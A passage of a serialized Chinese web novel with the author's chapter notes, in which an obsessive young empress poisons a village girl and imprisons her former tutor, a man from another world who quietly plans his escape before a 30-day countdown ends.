说着,她从手腕上褪下一对通体碧绿,水头十足的玉镯,亲手戴在了翠儿的手腕上。 “这对镯子,便赏你了。” 翠儿看着手腕上那对一看就价值连城的玉镯,整个人都懵了,巨大的惊喜冲散了恐惧,她激动得满脸通红,连连叩首:“谢……谢陛下恩典!谢陛下恩典!” 周围的村民们也都投来了羡慕的目光,谁都没想到,这个山野丫头,竟能得到天子如此的恩宠。 只有顾云舟,看着萧青鸾那双温柔得过分的眼睛,只觉得一股寒气从脚底板直冲天灵盖。 那眼神里没有一丝温度。 那不是赏赐。 那是给祭品打上的标记。 当晚,石滩村摆下了最高规格的接风宴。 萧青鸾坐在主位,频频向顾云舟举杯,言谈间满是对往昔“落霞谷”时光的怀念,以及对先生如今成就的崇敬。 她的姿态放得很低,仿佛她不是高高在上的女帝,而他也不是被囚禁的臣子。 可顾云舟只觉得如坐针毡,每一口酒,都像是喝进了滚烫的刀子。 宴会的气氛在女帝刻意的带动下,逐渐热烈起来。 酒过三巡,菜过五味。 萧青鸾放下酒杯,目光再次落在了被特许在末席陪坐的翠儿身上。 翠儿正因为白天的赏赐而晕乎乎的,感受到女帝的目光,立刻紧张地站了起来。 萧青鸾对着她招了招手,脸上带着醉人的微笑。 “翠儿,过来。” 翠儿受宠若惊,连忙小跑到御前。 一名太监端着一个托盘,上面放着一只盛满了美酒的九龙金杯。 萧青鸾亲自端起酒杯,递到翠儿面前。 整个宴会,瞬间安静了下来。 所有人的目光,都聚焦在这位年轻的女帝和那个不知所措的村女身上。 顾云舟的瞳孔,骤然收缩。 他看着那杯在火光下荡漾着琥珀色光泽的御酒,只觉得浑身的血液都要凝固了。 只听萧青鸾用一种近乎咏叹的温柔语调,微笑着说道: “此等忠仆,理应重赏。” 她将金杯又往前递了递,几乎要碰到翠儿的嘴唇。 “翠儿,喝了这杯酒。” “今夜,便由你,贴身伺候先生吧。” (晚上还有一张,别错过哦_(:D)∠)_) 第八十九章 溺者无声 全场死寂。 那只盛满琥珀色酒液的九龙金杯,在摇曳的火光下,像一只择人而噬的凶兽。 顾云舟的呼吸停了。 他想喊。 想扑过去打掉那杯酒。 想抓住那个天真女孩的肩膀,告诉她快跑,离这疯子远一点。 可他动不了。 萧青鸾的目光轻飘飘地落在他身上,带着三分醉意,七分浅笑。那眼神却像两道无形的枷锁,将他死死钉在原地。 她仿佛在问,先生,你要做什么? 你要,为了一个乡下丫头,忤逆朕吗? 翠儿的脸颊因激动和酒精而泛红,一双眼睛亮晶晶的,全是纯粹的喜悦和对未来的憧憬。 贴身伺候先生。 这是何等的恩宠! 她颤抖着双手,无比虔诚地接过那只沉甸甸的金杯,仿佛接过的不是一杯酒,而是通往云端的阶梯。 “民女……民女定不负陛下厚望,定会……好好伺候先生!” 她声音哽咽,泪水在眼眶里打转,重重磕下一个头。 然后,她仰起脖子,将杯中美酒一饮而尽。 一滴不剩。 “好孩子。”萧青鸾的笑容更温柔了,她扶起翠儿,又亲手为她理了理有些凌乱的发鬓。 顾云舟的喉咙里涌上一股铁锈味。 晚了。 一切都晚了。 他看着翠儿那张洋溢着幸福的脸,只觉得心脏被一只冰冷的手狠狠攥住,几乎要捏爆。 “去吧,”萧青鸾对旁边的宫女吩咐道,“带翠儿姑娘去湖边的小筑梳洗更衣,换上朕为她准备的云锦,可别怠慢了先生。” “奴婢遵旨。” 宫女躬身领命,引着还有些晕乎乎的翠儿,向宴会外走去。 翠儿经过顾云舟身边时,还羞涩地看了他一眼,那眼神里的期待和喜悦,像一根烧红的针,狠狠扎进他的眼球。 顾云舟面无表情,放在膝上的双手,指甲已经深深掐进了肉里。 宴会继续。 丝竹声再次响起,仿佛刚才的一切只是个微不足道的小插曲。 萧青鸾举起酒杯,笑吟吟地对石爷说:“石老丈,你养了个好女儿啊。来,朕敬你一杯。” 石爷激动得老脸通红,手忙脚乱地端起酒碗,一饮而尽,嘴里不停念叨着“祖坟冒青烟了”。 周围的村民们也都向石爷投去羡慕嫉妒的目光,议论声不绝于耳。 “老石家这是要飞黄腾达了!” “可不是嘛,一步登天啊!” “以后咱们见了翠儿,怕是得叫声翠儿夫人了。” 这些声音钻进顾云舟的耳朵里,变成了世界上最尖锐的讽刺。 他像个局外人,冷眼看着这场荒诞的狂欢。 萧青鸾谈笑风生,和他说起落霞谷的趣事,说起他当年讲的那些故事,她的声音清脆动听,每一个字都带着怀念和依恋。 可顾云舟只觉得每一个字都像淬了毒的冰锥。 他机械地应和着,喝酒,吃菜。 味同嚼蜡。 时间一分一秒地流逝,每一秒都像是在油锅里煎熬。 他在等。 等那只靴子落地。 大概过了半个时辰,就在宴会气氛最热烈的时候。 “啊!” 一声凄厉的尖叫划破夜空,从湖边的方向传来。 乐声戛然而止。 所有人都愣住了。 顾云舟猛地站起身,心脏狂跳。 来了。 一名宫女连滚带爬地跑了过来,噗通一声跪在地上,脸色惨白,声音抖得不成样子。 “陛……陛下!不好了!翠儿姑娘……翠儿姑娘她……她在湖边赏月,不小心……不小心失足落水了!” 轰! 石爷脑子一懵,手里的酒碗摔在地上,四分五裂。 “闺女!” 他嘶吼一声,疯了似的朝湖边冲去。 村民们也乱作一团。 萧青鸾“霍然”起身,脸上满是“震惊”和“担忧”。 “快!快救人!” 她一声令下,凤卫和太监们立刻行动起来,整个石滩村瞬间乱成一锅粥。 顾云舟跟在人群后面,一步步走向那片黑暗的湖水。 他的脚步很稳,可他觉得自己的灵魂正在一点点下沉,沉入无边的冰冷深渊。 湖边已经围满了人,火把的光将水面照得一片通明。 几名水性好的凤卫已经跳下水,正在四处搜寻。 石爷跪在湖边,撕心裂肺地哭喊着女儿的名字。 没过多久,一名凤卫高声喊道:“找到了!” 众人合力,将一具湿淋淋的身体从水中拖了上来。 正是翠儿。 她双目紧闭,嘴唇发紫,浑身冰冷,早已没了呼吸。 那身还没来得及换上的云锦,湿哒哒地贴在她身上,像一件华丽的寿衣。 她手腕上,那对碧绿的玉镯,在火光下闪着幽幽的光。 “我的翠儿啊!” 石爷扑了过去,抱着女儿冰冷的尸体,哭得肝肠寸断。 萧青鸾也走了过来,脸上带着恰到好处的悲戚,她身边的随行太医立刻上前。 “陛下,让臣来查验。” 太医跪在尸体旁,装模作样地翻了翻眼皮,探了探鼻息,又按了按胸口。 整个过程行云流水,快得不可思议。 很快,他站起身,对着萧青鸾躬身禀报:“启禀陛下,翠儿姑娘身上并无外伤,应是……不胜酒力,在湖边赏月时头晕目眩,不幸失足溺亡。请陛下节哀。” 天衣无缝。 一个完美的意外。 周围的村民们也纷纷叹息,都觉得是这丫头福薄,承受不住这泼天的富贵。 顾云舟缓缓蹲下身。 他拨开围观的人,目光落在翠儿那张已经失去血色的脸上。 一股极淡的,若有似无的甜香,钻入他的鼻腔。 这股味道,他很熟悉。 是“七步倒”。 皇宫禁药,无色无味,入酒即化,发作极快。中毒者会瞬间四肢无力,心跳停止,状如猝死。 除非用特制的银针刺入心脉,否则根本验不出来。 他猛地抬起头,视线穿过攒动的人群,死死锁定了不远处那个正“温言”安抚着石爷的纤细身影。 萧青鸾似乎感受到了他的目光,也朝他看了过来。 她的脸上,挂着悲伤,挂着惋惜,挂着一个君主对子民不幸离世的哀恸。 可在那双漂亮的凤眸深处。 在那片浓得化不开的墨色里。 顾云舟看到了一丝冰冷的,毫不掩饰的,带着炫耀意味的挑衅。 那眼神仿佛在无声地对他说。 先生。 你看。 属于我的东西,谁也碰不得。 一根头发丝,都不行。 (言谢无力,四更致谢。谢谢大家的喜欢和支持) 第九十章 先生,天下是我的,你也是 夜风很冷。 湖边的哭嚎声渐渐弱了下去 变成了压抑的抽泣。 石爷被几个村民搀扶着 像一瞬间被抽干了所有力气的老树 佝偻着背 满眼空洞。 翠儿的尸身被一张草席盖着 停在原地。 那身华丽的云锦湿漉漉的 沾满了泥水和草屑。 一个时辰前还鲜活的生命 此刻只是一具冰冷的尸体。 村民们远远地围着 没人敢靠近 也没人敢离开。 恐惧像一张无形的大网 笼罩在石滩村的每一个人头顶。 他们看懂了。 这不是什么意外。 这是天子之怒。 顾云舟就站在那张草席不远处 身上还带着酒宴的暖气 血液却已经冷透了。 他什么都没做 只是静静地看着。 看着那个“悲痛欲绝”的女帝 如何用最温柔的语气 安抚着那个失去女儿的老人。 看着她如何“雷厉风行”地命令凤卫彻查此事 誓要给村民一个交代。 演技真好。 奥斯卡都欠她一座小金人。 顾云舟的内心一片死寂 没有愤怒 也没有悲伤 只剩下一种深入骨髓的寒意。 他知道 这一切都是演给他看的。 翠儿是祭品。 而他 是唯一的观众。 就在这时 一个小太监迈着细碎的步子 悄无声息地来到他身边 尖细的嗓音带着一丝恭敬和不容置疑。 “顾侯爷 陛下请您过去一趟 说是有要事相商。” 顾云舟缓缓转过头 看着这个面色白净的太监。 来了。 他面无表情地点了点头 “带路。” 他跟在太监身后 穿过惊恐的人群。 顾云舟刚走,太医便蹲在翠儿身旁掀开草席,从包袱里掏出一颗黑漆漆的药丸,顺势塞入她口中。 ...... 顾云舟被带到了女帝下榻的临时行宫。 这里原是村里最大的一座青砖瓦房 如今已被凤卫里三层外三层围得水泄不通。 门口站着两排手持长戟的凤卫 甲胄森然 眼神如刀。 看到他走来 那些凤卫的眼神齐刷刷地落在他身上 冰冷 锐利 不带一丝感情。 太监将他引至正堂门口 躬身退下。 “侯爷请。陛下就在里面等您。” 顾云舟深吸一口气 推开了那扇沉重的木门。 嘎吱一声 门轴转动的声音在寂静的夜里格外刺耳。 殿内很空旷。 大部分家具都被搬走了 只在正中央留了一张桌子 两把椅子。 桌上点着一盏孤零零的油灯 豆大的火苗在穿堂风中摇曳 将两个人的影子拉得又细又长 在墙壁上疯狂舞动。 萧青鸾就站在窗前 背对着他 望着窗外那轮清冷的月亮。 她换下了一身繁复的宫装 只穿着一件素白的长裙 身影在月光下显得格外单薄 仿佛随时会乘风而去。 顾云舟一步步走进去 身后的木门被无声地关上。 殿内只剩下烛火燃烧时发出的噼啪声。 他站定在离她三步远的地方 声音平静得没有一丝波澜。 “陛下 翠儿的死 需要一个解释。” 萧青鸾没有立刻转身。 她只是静静地看着窗外 声音轻得像一片羽毛。 “先生觉得 需要什么解释呢?” “她不该死的。”顾云舟的声音依旧平静 但每一个字都像是从冰窖里捞出来的。 “哦?” 萧青鸾终于缓缓转过身来。 她的脸上没有了白天那种恰到好处的悲伤 也没有了任何伪装。 那是一种顾云舟从未见过的平静。 一种病态的 令人心悸的平静。 她的眼眸黑得吓人 像两个深不见底的旋涡 能将人的灵魂都吸进去。 “先生为什么觉得她不该死?”她歪了歪头 嘴角甚至还带着一丝天真的好奇。 顾云舟的心猛地一沉。 他看着眼前这张熟悉又陌生的脸 忽然觉得一股凉气从脚底直冲天灵盖。 他知道 那个在落霞谷里缠着他讲故事的小姑娘 那个在太和殿上强忍着恐惧接受百官朝拜的少女 那个会因为他一句夸奖而脸红半天的学生。 已经彻底死了。 站在他面前的 是一个怪物。 一个披着少女皮囊的 真正的怪物。 他沉默了。 因为他知道 任何道理 在一个疯子面前 都是苍白的。 见他不说话 萧青鸾笑了。 那笑容很美 却让人不寒而栗。 她一步步向他走来 素白的裙摆拖在地上 没有发出一点声音。 “先生不说话 那就由朕来说吧。” 她停在顾云舟面前 仰着头看他 眼中燃烧着疯狂的火焰。 “她碰了我的东西。” 她的声音很轻 却像一记重锤 狠狠砸在顾云舟的心上。 “所以 她该死。” 顾云舟的瞳孔骤然收缩。 他想过她会找借口 会狡辩 会把事情推得一干二净。 他唯独没想过 她会如此直白 如此理所当然地承认。 “先生是不是觉得朕很可怕?”她仿佛能看穿他的内心 伸出冰凉的手 指尖轻轻抚上他的脸颊 “是不是觉得朕是个疯子?” 顾云舟下意识地想躲开 身体却像被钉在原地 动弹不得。 那指尖的冰凉 仿佛带着某种魔力 能冻结人的血液。 “可是 先生知道吗?”她的声音变得幽怨起来 带着浓浓的委屈 “朕一想到 你会离开朕 朕的心就疼得快要死掉了。” “朕派人看着你 跟着你 朕知道你每天见了什么人 说了什么话 吃了什么东西……朕甚至知道你夜里说了几次梦话。” “朕一想到 你会对别人笑 像对我一样。” “朕一想到 会有别的女人为你擦汗 为你递上一杯热茶……” 她的声音猛地一颤 眼中的火焰烧得更旺了。 “朕的心 就像被无数把刀子 一刀一刀地割着 疼得喘不过气来。” “先生 你教朕的那些道理 朕都懂。帝王要有胸襟 要有气度 要容人。” “可是 朕做不到。” “在先生这件事上 朕的心眼比针尖还小。” 顾云舟被她这一番疯言疯语震在原地 脑子里嗡嗡作响。 他看着她那双燃烧着嫉妒与占有欲的眼睛 终于明白了。 这不是爱。 这是病态的占有欲。 是以爱为名义的 。 他猛地后退一步 终于挣脱了她指尖的触碰。 他深吸一口气 强迫自己冷静下来 一字一句地说道。 “陛下。天下初定 南北战事虽未平 但大局已稳。” “臣的任务……也快要完成了。” 他看着她的眼睛 说出了那句在心里酝酿了无数个日夜的话。 “届时 臣会离开。” 离开? 这两个字像是一把烧红的烙铁 狠狠烫在了萧青鸾的神经上。 她脸上的那种病态的平静瞬间消失了。 取而代之的是一种近乎癫狂的错愕和受伤。 “离开?” 她重复着这两个字 仿佛听到了世界上最可笑的笑话。 “你要去哪?” “你要离开朕 去哪?” 她的声音陡然变得尖利起来。 下一秒 她猛地扑了上来 从背后死死地抱住了顾云舟。 她的双臂箍得像铁钳一样紧 恨不得将他勒进自己的身体里。 她的脸埋在他的后背 滚烫的泪水瞬间浸湿了他的衣衫。 “不许走!” “朕不许你走!” 她的声音带着哭腔 却又充满了不容置喙的决绝。 “先生 天下是朕的 你……也是朕的。” “没有朕的允许 你哪里也去不了。” “天上地下 你都只能是朕一个人的。” 话音落下的瞬间。 “哐当!” 殿外传来一阵整齐划一的甲胄摩擦声。 数十名手持长刀的凤卫 如同从地狱里冒出来的鬼魅 将整个正堂的所有门窗 出口 全部封死。 明晃晃的刀光映在顾云舟的眼底 冰冷刺骨。 他僵在原地 感受着背后那具柔软却又充满了禁锢力量的身体。 他缓缓地 缓缓地闭上了眼睛。 他知道。 从今往后。 云梦泽不再是他的世外桃源。 而是他的囚笼。 以天下为栏 以权为锁。 而他 就是那只被折断了翅膀 永远也飞不出去的金丝雀。 大殿的门被从外面重重地合上。 “咔嚓。” 一声清晰的落锁声响起。 敲响了开幕的钟。 (谢谢大家的支持啦,翠儿的开放式结局哦(′-ω-`)) 第九十一章 最后的倒计时 世界安静了。 背后那具温软的身体还在微微颤抖,带着哭泣后的余韵,将他越缠越紧,勒得他骨头生疼。 他输了。 输得一败涂地。 他以为自己是执棋者,却不知从头到尾,自己都只是棋盘上的一枚棋子。他以为自己养的是一只听话的雀,却亲手将她喂成了一条疯龙。 他缓缓闭上眼,连呼吸都觉得多余。 就这样吧。 死,或者比死更屈辱地活着。 似乎也没什么区别了。 就在他心如死灰,神魂仿佛要飘出躯壳的瞬间 【叮!】 一声极其突兀,却又无比熟悉的机械提示音,在他脑海里炸响。 【检测到大炎王朝内忧外患基本平定,民心所向,国运稳固。】 【最终主线任务——“安稳天下”,已确认完成!】 顾云舟僵住了。 那颗已经沉入无底深渊的心,仿佛被一只无形的手猛地拽住,停在了半空。 还没等他反应过来,系统的声音再次响起,不带一丝一毫的情感。 【任务完成,奖励结算中……】 【【回归程序】已启动。】 【预计将在30天后,将宿主传送返回原世界。】 【倒计时开始:29天,23小时,59分58秒……】 三十天。 他还有三十天! 背后,萧青鸾似乎也哭累了,她松开了禁锢着他的手臂,转而牵住他的手,将他拉到一旁的软榻上坐下。 她的声音恢复了那种带着一丝天真的柔软,仿佛刚才那个歇斯底里的疯子只是一个幻觉。 “先生,你累了吧。朕陪着你,以后,朕天天都陪着你。” 她依偎过来,头枕在他的肩膀上,像一只终于找到了巢穴的倦鸟,脸上带着心满意足的微笑。 可顾云舟只觉得浑身不自在。 可又被那三十天的倒计时,吸引了注意。 他必须逃出去。 在这三十天内,从这里逃出去! 如果被她抓着传送,天知道会发生什么。两个人一起穿越?还是传送失败,他被空间乱流撕成碎片? 他不敢赌。 …… 第二天,顾云舟就“病”了。 不是装的。 是那种心神俱疲后,被彻底抽干了精气神的颓败。 他不再说话,眼神空洞,像一具被抽走了魂魄的木偶。 萧青鸾每日亲自端来汤药,一勺一勺地喂到他嘴边。他便张嘴,喝下。 她为他换上更柔软的衣袍,料子是江南进贡的云锦,上面没有一丝褶皱,他便任由她摆布。 她见他不说话,便捧着书卷,坐在他身边,用清脆悦耳的声音为他念他曾经最喜欢的游记。 整个临时行宫,气氛诡异得让人窒息。 所有伺候的宫女太监,大气不敢喘一口。 他们看见的,是女帝陛下对帝师无微不至的关怀,是那份浓得化不开的“恩宠”。 只有站在门外,凤卫队长赤羽,眸中闪过一丝无人察觉的怜悯。 她知道,这不是恩宠。 这是在用最温柔的方式,豢养一只已经被折断了翅膀的雀。 萧青鸾似乎很满意顾云舟现在的状态。 一个不会反抗,不会想着离开,只会安安静静待在她身边的先生,才是最好的先生。 这天午后,她看着顾云舟机械地吃完一小碗莲子羹,忽然柔声开口。 “先生,云梦泽的事务,不可荒废。朕知道,这里是你的心血。” 顾云舟眼皮都没抬一下。 “朕已下旨,命李源每日向你呈报公务,由你决断,如何?” 她像是在询问,语气却是不容置喙。 她要让他看着,他亲手创造的一切,是如何在她的掌控下,继续运转。 要让他明白,离了她,他什么都不是。离了他,她却能拥有一切,包括他。 顾云舟的睫毛,几不可察地颤动了一下。 他缓缓抬起头,空洞的目光第一次有了焦点,落在了萧青鸾的脸上。 他的嘴唇翕动,发出了这几天来的第一个音节,沙哑得像是砂纸在摩擦。 “……好。” 萧青鸾笑了,笑得明媚灿烂。 她以为,他终于认命了。 很快,穿着一身崭新县令官服的李源,被两名凤卫“请”了进来。 李源的脸又白又瘦,眼窝深陷,显然这几日也备受煎熬。他看到软榻上形容枯槁的顾云舟,眼圈一红,噗通一声就跪下了。 “老师……” “放肆。”萧青鸾清冷的声音响起,“在帝师面前,当称云梦侯。” 李源浑身一抖,立刻改口:“侯……侯爷。” 顾云舟的目光越过萧青鸾,落在李源身上。 他看到了李源眼中的关切,以及……深深的无力。 这就够了。 “起来吧。”顾云舟的声音依旧沙哑,“云梦泽的图纸,拿来我看看。” 李源连忙起身,从随身的木筒里,小心翼翼地捧出了一大卷羊皮图纸。 那是整个云梦泽的建设总规划图。 图纸在长案上铺开,萧青鸾饶有兴致地站在一旁观看。 赤羽站在门口,目光低垂,尽忠职守。 顾云舟撑着身体,走到案前,目光在图纸上缓缓移动。 他的手指划过已经建成的堤坝,划过规划中的水渠,划过一片片标注着“一号”“二号”的田地。 最后,他的手指停在了一处偏僻的角落。 那里是图纸的边缘,一片标注着“黑沼”的区域,旁边还有几个小字:“秋日易涝,水路不通”。 “这里,”顾云舟开口了,声音不大,却让李源精神一振,“石滩村南边的这条泄洪渠,挖得太浅了。” 李源凑过来看,一脸不解:“老师,这条渠是按您的吩咐,三尺宽,五尺深,足以应付寻常雨水了。” “不够。”顾云舟摇了摇头,目光却像是穿透了图纸,看到了更远的地方。 “今年的雨水,会比往年都大。寻常的水渠,只会让洪水倒灌,毁了下游新开的田。” 萧青鸾在一旁听着,嘴角勾起一抹玩味的笑意。 先生果然还是先生,哪怕心死了,也还记挂着他的坛坛罐罐。 顾云舟没有看她,他只是盯着李源,一字一句地说道:“传我的令,从今天起,调集所有能用的人手,沿着这条旧渠,往西再挖一条暗渠。” “暗渠?”李源更糊涂了,“老师,这……这工程量太大了,而且,往西是乱石滩,下面全是坚硬的青岩,极难开凿。” “必须挖。”顾云舟的语气不容置疑。 他抬起手,用指甲在图纸上,从“黑沼”开始,向西划出了一条长长的,曲折的痕迹。 那条痕迹,绕过了凤卫驻扎的核心营地,穿过了几片密林,最后,精准地指向了云梦泽最西边的出口。 青河。 一条通往外界的河。 “挖穿乱石滩,连通青河故道。” “告诉工匠们,就说我说的,青岩之下,有龙脉。挖穿了,龙气贯通,云梦泽才能真正风调雨顺,万世无忧。” 李源被这番神神叨叨的话给说懵了。 龙脉? 老师以前可从不信这些东西。 他下意识地看向女帝陛下。 萧青鸾却只是笑着,眼中满是纵容:“先生说什么,便是什么。李源,你照办就是。” 她根本不在乎什么龙脉,她只想看到顾云舟。 只要他不再想着飞走,他想在笼子里挖个坑,又有什么关系? “是……是!学生遵命!” 李源不敢再问,他收起图纸,恭恭敬敬地退了出去。 当他转身的瞬间,他看到自己的老师,对着他,极轻极缓地眨了一下眼睛。 李源的心,猛地一跳。 走出大殿,被午后的阳光一照,他才惊觉自己后背已经湿透了。 殿内。 顾云舟重新坐回软榻,又变成了那副行尸走肉的模样。 他靠在窗边,看着庭院里那棵孤零零的石榴树,一动不动。 赤羽站在门外,眼角的余光扫过他平静的侧脸,心中毫无波澜。 她和其他人一样,都以为这位惊才绝艳的帝师,已经彻底认命了。 没有人知道。 一张名为“求生”的地图,正在以惊人的速度,一寸寸地被点亮。 那条所谓的“暗渠”,就是他划出的第一根逃生索。 还有二十九天。 他看着窗外一成不变的景色,手指在窗棂上,轻轻敲击着。 一下,两下,三下。 不疾不徐,带着一种冰冷的,精准的节奏。 那是倒计时的声音。 (感谢大家的礼物,谢谢,中午还有一张晚上还有一张哈_(:D)∠)_) 第九十二章 落子无声 行宫之内,死寂无声。 顾云舟每日的生活,就想是规划好了一样。 辰时起身,巳时用膳,午时看书,申时发呆。 日复一日,连都梳理得整整齐齐,只为取悦主人。 萧青鸾对此很满意。 她喜欢坐在不远处,看顾云舟坐在窗边,阳光将他的侧脸勾勒出一层柔和的轮廓。那双眼睛,如今只剩下空洞的平静。 这种平静,让她心安。 今日,顾云舟没有发呆,而是破天荒地开始写东西。 他伏在案上,一笔一划,写得极其认真。 “先生在写什么?”萧青鸾端着一盏新茶,款步走来,声音轻柔,带着一丝好奇。 “治理之法,总要总结出一套章程,日后也好推行天下。”顾云舟头也不抬,声音沙哑,听不出任何情绪。 萧青鸾的嘴角弯起一抹得意的弧度。 看,他还是心系天下的。 只要他的心还在这片江山上,那他的人,就永远也跑不出她的手掌心。 她将茶盏轻轻放在桌角,没有再打扰,只是静静地看着。 他写的都是些冠冕堂皇的话。 《论水利兴修之紧要》 《再谈屯田与民生之关联》 《三议官吏考核之新法》。 每一篇都引经据典,条理清晰,是足以当成范文颁行天下的好文章。 赤羽守在门口,眼观鼻,鼻观心。 没有人觉得不对。 一个时辰后,李源抱着一摞公文,低着头走了进来。 他每日的任务,就是将老师写好的文章誊抄数份,一份存档,一份送往神京,交由中书省备案。 “侯爷。”他行礼,声音干涩。 顾云舟嗯了一声,将刚写完的一沓纸推了过去。 李源默默接过,走到角落的书案前,开始研墨,铺纸,誊抄。 这是他唯一能接近老师的机会。 他写得很快,不敢有丝毫停留,生怕被那位陛下的目光注意到。 第一篇是《论云利兴修之紧要》。 他照着原文,一字一句地抄写。 “秋高气爽,天干物燥,防火之事,重于泰山……” 李源的笔尖微微一顿。 他继续抄。 “猎虎需用良弓,治水当循其道,不可违逆……” 他又是一顿。 他感觉自己的心脏像是被一只无形的手攥住了。 他不敢抬头,只是用眼角的余光,飞快地扫过原文后面几段的开头。 “有……” “变……” “速……” “来……” “接……” “应……” “轰”的一声,李源的脑子里仿佛跟宕机了一样。 他的手剧烈地一抖,一滴浓墨砸在洁白的纸上,迅速晕开一个墨点。 “怎么了?” 萧青鸾冰冷的声音传来。 李源浑身一僵,冷汗瞬间浸透了后背。 他猛地低下头,声音因为恐惧而颤抖:“学……学生手滑,污了公文,请陛下降罪!” 萧青鸾的目光在他身上停留了片刻,见他吓得快要魂飞魄散,才轻哼一声,移开了视线:“废物。再抄一份,若再出错,自己去领罚。” “是……是!臣遵命!” 李源趴在桌上,几乎能听到自己擂鼓般的心跳。 他深吸一口气,换上一张新纸,重新落笔。 这一次,他的手稳如磐石,再没有一丝颤抖。 他抄完了所有的公文,将原稿和誊抄稿分作两份,恭恭敬敬地呈上。 萧青鸾随意翻了翻,确认无误,便挥手让他退下。 李源躬着身子,一步步退出大殿。 直到走出殿门,被刺目的阳光一晃,他才发现,自己活过来了。 他抱着那份要送往神京的公文,脚步有些虚浮,但却无比坚定。 老师没有放弃。 老师还在争。 那他这个做学生的,就算前面是刀山火海,也必须把这条路给蹚出来! 他加快了脚步,以“公务调配”的名义,签发了几道不起眼的调令。 一匹最快的北地良驹,被送到了青河渡口的一个马夫手里。 几袋足以支撑半月行程的干粮和肉干,被藏进了一艘不起眼的漕运船的夹层。 一瓶宫中特制的金疮药,则被他亲自交给了云梦泽外围一个最信任的斥候。 做完这一切,他才将那份藏着惊天秘密的公文,交给了驿站的信使。 “八百里加急,送往神京,交由苏中丞亲启。” …… 神京,御史台。 苏长青正在灯下看卷宗。 自从上次朝会,女帝颁下那道荒唐的“白纸皇榜”,整个朝堂便陷入了一种诡异的死寂。 没人敢再劝谏。 敬亲王一党的倒台,像一把刀,悬在所有人的头顶。 苏长青知道,这都是帝师的手笔。 以雷霆之势,扫清朝堂,为女帝铺平道路。 可他没想到,这条路的尽头,不是海晏河清,而是一座为帝师自己打造的牢笼。 一名心腹官员敲门而入,呈上一份来自云梦泽的加急文书。 “大人,云梦侯送来的。” 苏长青眼皮一跳。 他接过文书,展开。 都是些关于民生治理的文章,写得四平八稳,滴水不漏。 他看得很快,目光扫过每一段的开头,脸色却越来越凝重。 看完最后一页,他将文书缓缓合上,放在烛火上。 纸张卷曲,变黑,最后化为一缕青烟。 “大人,这……”心腹大惊。 “无事,”苏长青的语气平静得可怕,“只是些寻常公文,不必留档。” 他站起身,走到窗边,看着天边那轮残月。 秋猎有变,速来接应。 好一个秋猎有变。 看来,那只被囚禁的猛虎,要咬破笼子了。 他沉默了片刻,转身回到书案前,提笔写了两封信。 一封,用的是御史台的公文信封,火漆封口,收信人是洛城守将,忠勇侯周信。 信的内容很简单,只说朝廷要核查北境军备,让他于十日后,在洛城以西三十里,举行一场万人规模的军事演习,不得有误。 另一封,则是一张小小的纸条,上面只有一个字。 “狼。” 他将纸条折好,递给身后阴影里的一个人。 “交给城西的独狼,他知道该怎么做。” 黑影一闪,消失不见。 …… 夜深了。 云梦泽的临时行宫内,万籁俱寂。 顾云舟的房间里,只亮着一豆烛火。 他没有睡。 他跪坐在一张巨大的沙盘前。 那沙盘上,是整个大炎王朝的山川河流,城池关隘。 他伸出手,从旁边的盒子里,拈起一枚黑色的石子。 石子很凉,像淬了冰。 他将石子,轻轻放在了代表神京城的位置上。 “苏长青。”他轻声念道。 他又拈起一枚石子,放在了神京通往北境的咽喉要道,洛城。 “周信。” 第三枚石子,被他放在了神京城外,一条不起眼的官道旁。 “独狼。” 一枚又一枚的石子,被他精准地安放在沙盘的各个角落。 那些都是他这些年,或有意或无意,布下的棋子。 有受过他恩惠的江湖游侠,有他一手提拔上来的地方官吏,有他安插在各方势力中的暗桩。 过去,他们是闲棋。 现在,他们是催命的符。 他看着满盘的石子,它们在烛火的映照下,构成了一张无形的大网。 一张以整个天下为棋盘,为他自己织就的逃生之网。 萧青鸾,你以为你用一座宫殿,就能锁住我。 你错了。 当你把我关进笼子的那一刻,你就已经走进了我为你准备的另一个笼子。 顾云舟缓缓抬起头,勾起一抹冰冷的,带着一丝疯狂的笑意。 他落下最后一枚石子,正正好好,砸在皇宫的模型上。 啪。 一声轻响,在死寂的夜里,格外清晰。 (晚上还有一更,小铺盖等会要出门买画材,可能会晚点发( ̄ ii  ̄;)) 第九十三章 先生的剧本 自那夜沙盘推演之后,云梦泽的日子仿佛陷入了一种诡异的和谐。 萧青鸾每日都会来顾云舟的临时行宫,有时带着新到的奏折,有时只是一盘刚从宫里送来的精致糕点。 她不再提“离开”二字,也不再用那种令人窒息的眼神看他。她只是静静地陪着他,看他处理公务,看他批阅文书,......脸上带着一种近乎病态的满足。 (本来这里想写的,想到女主还没成年就删了。) 仿佛真的成了一个温暖的家。 顾云舟也表现得无可挑剔。 他眼神里的锐气与冰冷消失了,取而代之的是被驯服后的温顺。他会耐心地为她讲解公文里的利弊,会微笑着尝一口她喂到嘴边的点心,甚至会在她打瞌睡时,为她轻轻披上一件外衣。 他成了一只完美的金丝雀,被养在最华丽的笼中,唱着最动听的歌。 站在廊柱阴影里的赤羽,将这一切都看在眼里。她清冷的目光偶尔会扫过顾云舟那张温的脸,眸底深处的情绪无人能懂。 这一日,秋高气爽。 顾云舟与萧青鸾并肩站在一片金黄的田埂上。 眼前是望不到边的土豆田。沉甸甸的果实已经让地面都微微鼓起,风一吹,叶子沙沙作响,是丰收的声音。 “先生你看,”萧青鸾的语气带着孩子气的炫耀,“今年的收成,比去年还要好上三成!” 她像个急于向家长展示满分考卷的孩子,眼睛亮晶晶的,全是期待。 顾云舟的目光掠过这片丰收的土地,嘴角勾起一抹恰到好处的微笑,温和又带着一丝赞叹。 “陛下圣明。”他轻声说道。 萧青鸾微微一怔,似乎没料到他会这么说。 “这……这是先生的功劳。”她有些不好意思地低下头,“若不是先生带来了,至今还是片不毛之地。” “不。”顾云舟摇了摇头,声音不大,却透着真诚,“臣只是恰逢其会,将此物献上。真正让它生根发芽,获得如此丰收的,是陛下您啊。” 他转过身,面向萧青鸾,微微躬身,眼神无比清澈。 “臣听闻,上古圣王在位,天必降祥瑞。这遍地的丰收,便是上天对陛下勤政爱民的最好回应。这哪里是臣的功劳,分明是陛下德被四海,恩泽苍生啊。” 这番话,说得情真意切,滴水不漏。 萧青鸾彻底呆住了。 她看着顾云舟那张写满了“真诚”的脸,心脏不争气地狂跳起来。 先生……先生是在夸我哎。 他没有把功劳揽在自己身上,他把这一切都归功于我! 他心里真的有我! 喜悦与满足感瞬间冲垮了她所有的理智。这些天来,她虽然将他困在身边,内心深处却始终有一丝不安,生怕他只是屈服于自己的权势。 可现在,这丝不安被顾云舟亲手抹去了。 他是在心甘情愿地辅佐自己,他为自己的成就而感到骄傲! “先生……”她的声音都有些颤抖。 